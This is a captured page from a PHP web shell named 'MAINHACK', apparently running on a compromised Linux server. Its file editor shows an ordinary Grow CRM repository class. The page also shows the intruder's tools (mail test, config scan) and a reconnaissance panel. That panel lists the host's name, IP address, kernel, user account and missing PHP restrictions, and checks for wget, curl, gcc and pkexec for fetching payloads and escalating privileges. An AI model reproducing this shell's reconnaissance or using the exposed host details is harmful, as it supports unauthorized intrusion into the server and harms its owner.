[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RecurringTasksRepository.php
<?php /** -------------------------------------------------------------------------------- * This repository class manages all the data absctration for templates * * @foo Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Repositories\Foo; use App\Models\Foo; use Illuminate\Http\Request; use Illuminate\Support\Facades\Schema; class RecurringTasksRepository { /** * The leads repository instance. */ protected $foo; /** * Inject dependecies */ public function __construct(Foo $foo) { $this->foo = $foo; } /** * Search model * @param int $id optional for getting a single, specified record * @return object foos collection */ public function search($id = '', $data = []) { $foos = $this->foo->newQuery(); //default - always apply filters if (!isset($data['apply_filters'])) { $data['apply_filters'] = true; } //joins $foos->leftJoin('users', 'users.id', '=', 'foos.foo_creatorid'); //join: multiple condition $foos->leftJoin('items', function ($join) { $join->on('items.item_type', '=', DB::raw("'foo'")); $join->on('items.foo_id', '=', 'foos.foo_id'); $join->on('items.item_userid', '=', DB::raw(auth()->id())); }); // all client fields $foos->selectRaw('*'); //count all items $foos->selectRaw("(SELECT COUNT(*) FROM items WHERE item_fooid = foos.foo_id) AS count_all_items"); //sum all items $foos->selectRaw("(SELECT COALESCE(SUM(item_amount), 0.00) FROM items WHERE item_fooid = foos.foo_id AND item_status = 'overdue') AS sum_items"); //default where $foos->whereRaw("1 = 1"); //filters: id if (request()->filled('filter_foo_id')) { $foos->where('foo_id', request('filter_foo_id')); } if (is_numeric($id)) { $foos->where('foo_id', $id); } //apply filters if ($data['apply_filters']) { //filter foo id if (request()->filled('filter_foo_id')) { $foos->where('foo_id', request('filter_foo_id')); } //filter: start date (start) if (request()->filled('filter_start_date_start')) { $foos->whereDate('foo_date_start', '>=', request('filter_start_date_start')); } //filter status if (is_array(request('filter_foo_status')) && !empty(array_filter(request('filter_foo_status')))) { $foos->whereIn('foo_status', request('filter_foo_status')); } //filter: tags if (is_array(request('filter_tags')) && !empty(array_filter(request('filter_tags')))) { $foos->whereHas('tags', function ($query) { $query->whereIn('tag_title', request('filter_tags')); }); } } //search: various client columns and relationships (where first, then wherehas) if (request()->filled('search_query') || request()->filled('query')) { $foos->where(function ($query) { $query->orWhere('foo_surname', '=', request('search_query')); $query->orWhere('foo_name', 'LIKE', '%' . request('search_query') . '%'); $query->orWhere('foo_date', '=', date('Y-m-d', strtotime(request('search_query')))); if (is_numeric(request('search_query'))) { $query->orWhere('foo_amount', '=', request('search_query')); } $query->orWhereHas('tags', function ($q) { $q->where('tag_title', 'LIKE', '%' . request('search_query') . '%'); }); }); } //sorting if (in_array(request('sortorder'), array('desc', 'asc')) && request('orderby') != '') { //direct column name if (Schema::hasColumn('foos', request('orderby'))) { $foos->orderBy(request('orderby'), request('sortorder')); } } else { //default sorting $foos->orderBy('foo_name', 'asc'); } //eager load $foos->with([ 'tags', ]); // Get the results and return them. return $foos->paginate(config('system.settings_system_pagination_limits')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002